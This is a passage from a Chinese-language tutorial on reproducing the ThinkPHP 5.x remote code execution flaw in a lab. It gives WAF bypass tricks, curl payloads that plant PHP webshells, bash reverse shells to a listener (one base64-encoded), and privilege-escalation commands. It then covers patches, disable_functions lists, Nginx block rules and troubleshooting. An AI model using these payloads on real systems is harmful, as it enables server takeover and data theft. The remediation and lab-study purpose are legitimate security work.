.等命令定位危险函数调用点。回溯参数找到调用点后向上回溯参数来源检查是否用户可控。分析调用链如果用户输入经过若干层处理和传递最终到达危险函数那么就需要分析整个传递和处理过程是否有过滤不严的情况。构造利用链确认用户可控后思考如何构造输入使得传递到危险函数时能形成有效的代码执行。4.2 绕过可能的WAF或过滤在实际目标上可能会遇到Web应用防火墙WAF或应用自身的一些简单过滤。针对这个漏洞可以尝试一些绕过技巧大小写混淆PHP在Windows环境下对类名、函数名大小写不敏感。可以尝试\Think\App、\THINK\APP等。URL编码对Payload中的特殊字符进行双重甚至多重URL编码。例如将/编码为%2f再将%编码为%25变成%252f。某些WAF可能只解码一次。空格填充在参数名或值中添加多余的空格或%20、制表符%09、换行符%0a等例如vars[0] phpinfo。参数污染同时提交多个同名参数如vars[0]systemvars[0]phpinfo不同后端处理方式可能不同可能导致WAF解析差异。使用其他入口点除了invokefunction研究是否有其他类的方法存在类似问题例如通过反射类ReflectionClass或ReflectionFunction进行利用。重要提醒这些技巧仅用于安全研究和授权测试帮助理解防御机制的局限性。在未经授权的测试中使用是违法的。4.3 漏洞利用的实战场景在真实的渗透测试中拿到RCE权限只是第一步。接下来需要考虑如何维持访问、提升权限、横向移动等。写入Webshell这是最直接的方式。利用漏洞执行命令向Web目录写入一个PHP文件。# 使用echo写入一句话木马 curl “http://target.com/...functioncall_user_func_arrayvars[0]systemvars[1]echo ‘?php eval(\$_POST[cmd]);?’ shell.php” # 注意需要根据目标环境处理引号和转义。更可靠的方式是使用php代码配合file_put_contents curl “http://target.com/...functioncall_user_func_arrayvars[0]assertvars[1]file_put_contents(‘shell.php’, ‘?php eval(\$_POST[a]);?’)”写入后即可使用中国菜刀、蚁剑等工具连接。反弹Shell如果目标服务器能出网反弹一个Shell到你的公网服务器是更好的选择。# 在你的服务器上监听端口 nc -lvnp 4444 # 在目标上执行反弹命令需要目标有nc、bash、python等 curl “http://target.com/...vars[1]bash -c ‘bash -i /dev/tcp/your-ip/4444 01’”注意命令的编码和可用性。信息收集执行whoami、id、uname -a、cat /etc/passwd、ps aux、ifconfig、netstat -antp等命令收集系统、用户、网络、进程信息。权限提升检查sudo -l、SUID文件find / -perm -us -type f 2/dev/null、内核漏洞uname -a、计划任务、数据库凭证等尝试提权。5. 漏洞修复方案与安全加固建议对于开发者和管理员来说了解漏洞原理后更重要的是如何修复和防范。5.1 官方修复方案ThinkPHP官方在后续版本中修复了此漏洞。修复的核心思路包括严格路由过滤在路由解析阶段对控制器名、操作名进行了严格的合法性校验禁止输入中包含\、.等特殊字符。移除或保护危险方法对App::invokefunction等内部方法增加了访问控制或将其改为protected/private方法防止通过URL直接访问。改进自动加载优化类名自动加载逻辑避免将用户输入直接拼接为类名进行加载。最直接有效的修复方法是升级ThinkPHP框架到安全版本。ThinkPHP 5.0.x 用户应升级至5.0.24或更高版本。ThinkPHP 5.1.x 用户应升级至5.1.31或更高版本。建议直接升级到最新的ThinkPHP 6.x或8.x版本这些版本在架构和安全性上有了更大提升。升级前请务必仔细阅读官方升级指南并进行充分的测试因为大版本间可能存在不兼容的改动。5.2 临时缓解措施如果因种种原因无法立即升级可以考虑以下临时加固方案应用层过滤在应用入口文件public/index.php或全局中间件中对请求参数进行过滤检查s、c、a等路由参数中是否包含可疑字符如\、..、think\、invokefunction等一旦发现则直接拒绝请求。// 在index.php中增加简单过滤 if (isset($_GET[‘s’]) stripos($_GET[‘s’], ‘think\\’) ! false) { die(‘Access Denied’); }注意这种方法可能被绕过且需要了解所有可能的攻击向量。禁用危险函数在php.ini中通过disable_functions指令禁用不必要的危险函数如system、exec、passthru、shell_exec、proc_open、eval、assert等。这可以阻止攻击者执行系统命令但无法阻止攻击者利用漏洞调用其他危险函数或进行其他操作。disable_functions system,exec,passthru,shell_exec,proc_open,popen,eval,assert配置Web服务器在Nginx或Apache配置中添加规则过滤异常的URL请求。# Nginx 示例阻止包含特定模式的请求 location ~* “(think\\|invokefunction)” { deny all; return 403; }部署WAF部署专业的Web应用防火墙可以拦截已知的攻击Payload。5.3 长期安全开发规范除了修复特定漏洞建立良好的安全开发习惯更重要最小权限原则Web服务器进程如php-fpm应以低权限用户如www-data运行并限制其文件系统访问权限。输入验证与过滤对所有用户输入GET、POST、COOKIE、HEADER进行严格的验证和过滤遵循“白名单”原则只允许预期的字符和格式。避免动态代码执行尽量避免使用eval()、assert()、create_function()以及直接动态包含用户可控文件如include($_GET[‘page’])。如果必须使用要进行极其严格的过滤。安全配置框架使用框架时关闭调试模式app_debug、应用Traceapp_trace等生产环境不需要的功能。这些功能可能泄露敏感信息。依赖管理使用Composer等工具管理依赖并定期更新第三方库到安全版本。关注安全公告如CVE、CNVD。代码审计与渗透测试在项目上线前和定期进行代码安全审计和渗透测试主动发现潜在漏洞。6. 常见问题排查与复现踩坑记录在复现和分析这个漏洞的过程中我遇到过不少问题。这里总结一下希望能帮你避开这些坑。6.1 环境搭建问题问题现象可能原因解决方案访问靶场IP:8080无响应Docker容器未成功启动或端口映射错误运行docker-compose ps查看容器状态。运行docker-compose logs查看日志。检查宿主机防火墙是否放行了8080端口。页面显示“控制器不存在”或404靶场应用路由配置问题或ThinkPHP未正确安装确认访问的URL路径是否正确。检查vulhub靶场目录下的README确认正确的访问路径。如果是手动搭建检查index.php和ThinkPHP核心库路径是否正确。执行PoC无回显或返回空白页PHP配置禁用了错误显示phpinfo被禁用函数被禁用检查php.ini中display_errors是否设置为On。尝试执行echo “test”;或phpversion();等简单函数测试。查看Docker容器中PHP的disable_functions配置。命令执行成功但无输出system等函数输出被缓冲或未捕获Web用户无权限尝试将命令输出重定向到Web目录下的文件如vars[1]whoami /var/www/html/out.txt然后访问该文件。使用shell_exec并配合echo输出vars[0]echovars[1][]$(whoami)。6.2 漏洞利用问题问题现象可能原因解决方案使用system执行ls等命令成功但执行/bin/bash反弹Shell失败Web用户权限不足无法创建网络连接或/bin/bash不存在尝试使用/bin/sh。检查目标防火墙出站规则。尝试使用其他反弹Shell方式如Python、Perl、PHP。先测试nc -zv your-ip 4444看目标是否能连接到你的服务器。写入Webshell失败提示权限拒绝Web目录不可写或open_basedir限制尝试写入到/tmp目录。使用find / -name “*.php” -type f 2/dev/null寻找已有可写目录。检查php.ini中的open_basedir设置。某些Payload无效但其他有效目标ThinkPHP版本或补丁情况不同收集更多关于目标的信息如HTTP响应头中的X-Powered-By、报错信息等精确判断版本。尝试使用不同变种的Payload如使用\think\Container。6.3 工具使用与调试技巧使用Burp Suite/Proxy将浏览器或curl的流量代理到Burp Suite可以方便地查看原始请求和响应修改Payload进行重放测试。开启PHP错误日志在Docker容器内修改php.ini设置log_errors On和error_log /var/log/php_errors.log然后重启PHP服务。这能帮助你看清代码执行过程中的错误对于调试复杂Payload非常有用。分步测试不要一开始就使用复杂的反弹Shell命令。先从简单的phpinfo()、echo ‘test’开始确认漏洞可用。然后测试命令执行whoami、id。再测试文件操作touch /tmp/test。最后再尝试写入Webshell或反弹Shell。编码问题在构造包含空格、引号、重定向符的命令时要注意URL编码。在Burp Suite中可以使用CtrlU进行URL编码/解码。对于复杂的命令可以先用Base64编码然后在目标端解码执行。# 本地编码命令 echo -n “bash -i /dev/tcp/10.0.0.1/4444 01” | base64 # 得到YmFzaCAtaSAJiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDAJjEK # Payload中执行 vars[1]echo YmFzaCAtaSAJiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDAJjEK | base64 -d | bash这个漏洞虽然已经过去多年但它像一面镜子映照出Web开发中“信任用户输入”所带来的巨大风险。每一次漏洞复现不仅是为了掌握一个攻击技巧更是为了从防御者的角度深刻理解安全编码的每一个细节。在搭建环境、跟踪代码、构造Payload、解决问题的过程中你对PHP、对MVC框架、对网络协议的理解都会加深一层。